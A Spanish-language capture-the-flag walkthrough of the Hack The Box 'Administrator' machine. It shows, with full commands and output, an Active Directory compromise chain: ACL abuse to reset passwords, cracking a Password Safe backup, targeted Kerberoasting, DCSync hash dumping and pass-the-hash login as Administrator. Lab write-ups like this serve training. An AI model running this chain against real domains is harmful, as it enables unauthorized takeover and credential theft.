Administrator
Administrator es una máquina Windows de dificultad media, diseñada en torno a un escenario de compromiso de dominio, donde se proporcionan credenciales para un usuario de bajos privilegios. Para obtener acceso a la cuenta Michael, se enumeran los ACL (listas de control de acceso) sobre objetos privilegiados, lo que nos lleva a descubrir que el usuario Olivia tiene permisos Genericall sobre Michael, lo que nos permite reiniciar su contraseña. Con el acceso como Michael, se revela que puede forzar un cambio de contraseña en el usuario Benjamin, cuya contraseña se restablece. Esto otorga acceso a FTP, donde se descubre un archivo backup.psafe3, el cual es descifrado y revela credenciales de varios usuarios. Estas credenciales se "rocían" en todo el dominio, revelando credenciales válidas para el usuario Emily. Una enumeración adicional muestra que Emily tiene permisos de genicWrite sobre el usuario Ethan, lo que nos permite realizar un ataque kerberoasting. El hash recuperado es crackeado y revela credenciales válidas para Ethan, quien se encuentra que tiene derechos DCSYNC en última instancia, lo que permite la recuperación del hash de la cuenta Administrator y el compromiso completo del dominio.
Machine Information
As is common in real life Windows pentests, you will start the Administrator box with credentials for the following account: Username: Olivia
Password: ichliebedich
Information Gathering
El análisis inicial comienza con el comando ping para confirmar la accesibilidad de la máquina objetivo en la red.
1
2
3
4
5
6
7
/home/kali/Documents/htb/machines/administrator:-$ ping -c 1 10.10.11.42
PING 10.10.11.42 (10.10.11.42) 56(84) bytes of data.
64 bytes from 10.10.11.42: icmp_seq=1 ttl=127 time=334 ms
--- 10.10.11.42 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 334.216/334.216/334.216/0.000 ms
Realizo un escaneo agresivo de puertos con nmap, lo que me permite identificar rápidamente todos los puertos abiertos.
1
2
3
/home/kali/Documents/htb/machines/administrator:-$ sudo nmap -p- --open -sS --min-rate 5000 -vvv 10.10.11.42 -n -Pn -oG nmap1
Host: 10.10.11.42 () Status: Up
Host: 10.10.11.42 () Ports: 21/open/tcp//ftp///, 53/open/tcp//domain///, 88/open/tcp//kerberos-sec///, 135/open/tcp//msrpc///, 139/open/tcp//netbios-ssn///, 389/open/tcp//ldap///, 445/open/tcp//microsoft-ds///, 464/open/tcp//kpasswd5///, 593/open/tcp//http-rpc-epmap///, 636/open/tcp//ldapssl///, 3268/open/tcp//globalcatLDAP///, 3269/open/tcp//globalcatLDAPssl///, 5985/open/tcp//wsman///, 9389/open/tcp//adws///, 47001/open/tcp//winrm///, 49664/open/tcp/////, 49665/open/tcp/////, 49666/open/tcp/////, 49667/open/tcp/////, 49668/open/tcp/////, 51402/open/tcp/////, 58205/open/tcp/////, 58210/open/tcp/////, 58213/open/tcp/////, 58230/open/tcp/////, 58263/open/tcp/////
Profundizo en los puertos detectados, recopilando información detallada sobre los servicios y versiones en ejecución.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/home/kali/Documents/htb/machines/administrator:-$ sudo nmap -sCV -p21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49668,51402,58205,58210,58213,58230,58263 -vvv 10.10.11.42 -oN nmap2
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 127 Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-02-10 06:26:02Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
51402/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
58205/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
58210/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
58213/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
58230/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
58263/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 35406/tcp): CLEAN (Couldn't connect)
| Check 2 (port 40321/tcp): CLEAN (Couldn't connect)
| Check 3 (port 52617/udp): CLEAN (Timeout)
| Check 4 (port 32087/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-02-10T06:27:07
|_ start_date: N/A
|_clock-skew: 7h00m01s
Se identifica el sistema objetivo como un controlador de dominio basado en Windows Server 2022.
1
2
3
4
/home/kali/Documents/htb/machines/administrator:-$ crackmapexec smb administrator.htb
SMB administrator.htb 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
/home/kali/Documents/htb/machines/administrator:-$ echo '10.10.11.42\tadministrator.htb\tdc\tdc.administrator.htb' | sudo tee -a /etc/hosts
Pruebo las credenciales del usuario Olivia
, las cuales son válidas tanto para SMB como para el servicio WinRM.
1
2
3
4
5
6
7
8
/home/kali/Documents/htb/machines/administrator:-$ crackmapexec smb administrator.htb -u "Olivia" -p "ichliebedich"
SMB administrator.htb 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB administrator.htb 445 DC [+] administrator.htb\Olivia:ichliebedich
/home/kali/Documents/htb/machines/administrator:-$ crackmapexec winrm administrator.htb -u "Olivia" -p "ichliebedich"
SMB administrator.htb 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
HTTP administrator.htb 5985 DC [*] http://administrator.htb:5985/wsman
WINRM administrator.htb 5985 DC [+] administrator.htb\Olivia:ichliebedich (Pwn3d!)
Active Directory Enumeration
Recolecto información del entorno Active Directory utilizando Bloodhound.
1
2
/home/kali/Documents/htb/machines/administrator:-$ sudo ntpdate administrator.htb
/home/kali/Documents/htb/machines/administrator:-$ bloodhound-python -u Olivia -p 'ichliebedich' --zip -c All -d administrator.htb -ns 10.10.11.42
1
/home/kali/Documents/tools/bloodhound:-# ./bloodhound-cli install
El usuario OLIVIA@ADMINISTRATOR.HTB
tiene el permiso GenericAll
sobre MICHAEL@ADMINISTRATOR.HTB
. Este tipo de permiso otorga control total sobre el objeto, permitiendo realizar acciones como cambiar su contraseña.
Y el usuario MICHAEL@ADMINISTRATOR.HTB
posee privilegios ForceChangePassword
sobre BENJAMIN@ADMINISTRATOR.HTB
. Esto permite forzar un cambio de contraseña sobre la cuenta objetivo, incluso sin conocer la actual.
Active Directory Exploitation
Cambio la contraseña del usuario Michael
utilizando los privilegios GenericAll
de Olivia
. Esto me permite escalar lateralmente a otra cuenta del dominio.
1
2
/home/kali/Documents/htb/machines/administrator:-$ sudo bloodyAD -u "olivia" -p "ichliebedich" -d "Administrator.htb" --host "10.10.11.42" set password "Michael" "123456789"
[+] Password changed successfully!
Desde la cuenta de Michael
, fuerzo también el cambio de contraseña de Benjamin
gracias a los privilegios ForceChangePassword
.
1
2
/home/kali/Documents/htb/machines/administrator:-$ bloodyAD -u "Michael" -p "123456789" -d "Administrator.htb" --host "10.10.11.42" set password "Benjamin" "123456789"
[+] Password changed successfully!
Con las nuevas credenciales, accedo exitosamente al servicio FTP expuesto en la máquina objetivo.
1
2
3
4
5
6
7
/home/kali/Documents/htb/machines/administrator:-$ ftp administrator.htb
Connected to administrator.htb.
220 Microsoft FTP Service
Name (administrator.htb:kali): Benjamin
331 Password required
Password: 123456789
230 User logged in.
Revisando el contenido disponible en el servicio FTP, identifico un archivo potencialmente sensible llamado Backup.psafe3
.
El archivo pertenece al gestor de contraseñas Password Safe, por lo que es probable que contenga credenciales válidas.
1
2
3
/home/kali/Documents/htb/machines/administrator:-$ sudo apt install passwordsafe
/home/kali/Documents/htb/machines/administrator:-$ pwsafe Backup.psafe3
Para acceder al contenido, necesito una contraseña maestra.
Para intentar romper la protección, extraigo el hash de la contraseña maestra con pwsafe2john y ejecuto un ataque de diccionario.
1
2
3
4
/home/kali/Documents/htb/machines/administrator:-$ pwsafe2john Backup.psafe3 > pwsafe-hash.txt
/home/kali/Documents/htb/machines/administrator:-$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
tekieromucho (Backu)
Al acceder a la base de datos, encuentro múltiples credenciales. Sólo una de ellas resulta válida emily
:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
.
Con estas credenciales, ingreso exitosamente al sistema mediante el servicio WinRM.
1
2
3
4
5
6
7
8
9
/home/kali/Documents/htb/machines/administrator:-$ crackmapexec winrm administrator.htb -u "emily" -p "UXLCI5iETUsIBoFVTj8yQFKoHjXmb"
SMB administrator.htb 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
HTTP administrator.htb 5985 DC [*] http://administrator.htb:5985/wsman
WINRM administrator.htb 5985 DC [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb (Pwn3d!)
/home/kali/Documents/htb/machines/administrator:-$ evil-winrm -i administrator.htb -u emily -p "UXLCI5iETUsIBoFVTj8yQFKoHjXmb"
*Evil-WinRM* PS C:\Users\emily> type Desktop/user.txt
Privilege Escalation
Emily
tiene permisos de tipo GenericWrite
sobre el usuario ETHAN@ADMINISTRATOR.HTB
. Esto permite modificar ciertos atributos del objeto Ethan
, como por ejemplo el servicePrincipalName
.
Por otro lado, el usuario ETHAN@ADMINISTRATOR.HTB
posee privilegios extendidos sobre el objeto del controlador de dominio ADMINISTRATOR.HTB
. Específicamente, cuenta con los permisos GetChanges
, GetChangesInFilteredSet
y GetChangesAll
. Este conjunto de permisos indica que el usuario tiene capacidad para ejecutar un ataque DCSync, el cual permite replicar hashes de contraseñas directamente desde el controlador de dominio, simulando el comportamiento de un Domain Controller.
Esta relación puede aprovecharse mediante un ataque de Targeted Kerberoast, que consiste en establecer temporalmente un SPN personalizado, forzar la emisión de un ticket Kerberos (TGS), capturar su hash y posteriormente eliminar el SPN. Para llevar a cabo esta técnica se utiliza la herramienta targetedKerberoast, que automatiza todo el proceso.
1
2
/home/kali/Documents/htb/machines/administrator:-$ sudo ntpdate administrator.htb
(venv)-/home/kali/Documents/htb/machines/administrator:-$ sudo python /home/kali/Documents/tools/targetedKerberoast/targetedKerberoast.py -u "emily" -p "UXLCI5iETUsIBoFVTj8yQFKoHjXmb" -d "Administrator.htb" --dc-ip 10.10.11.42
Una vez obtenido el hash Kerberos, se procede a crackearlo con John the Ripper utilizando el diccionario rockyou.txt
. El resultado revela que la contraseña asociada al usuario ethan
es limpbizkit
.
1
2
/home/kali/Documents/htb/machines/administrator:-$ john krb5-hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
limpbizkit (?)
Con esta credencial se ejecuta un ataque DCSync mediante la herramienta impacket-secretsdump, aprovechando los privilegios extendidos GetChangesAll
. El ataque permite extraer el hash NTLM del usuario Administrator
.
1
2
/home/kali/Documents/htb/machines/administrator:-$ impacket-secretsdump "Administrator.htb/ethan:limpbizkit"@"dc.Administrator.htb"
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Finalmente, se utiliza evil-winrm para establecer una sesión remota como el usuario Administrator
, utilizando el hash NTLM obtenido en la etapa anterior. El acceso exitoso confirma el compromiso completo del dominio.
1
2
3
/home/kali/Documents/htb/machines/administrator:-$ evil-winrm -i administrator.htb -u administrator -H "3dc553ce4b9fd20bd016e098d2d2fd2e"
*Evil-WinRM* PS C:\Users\Administrator> type Desktop/root.txt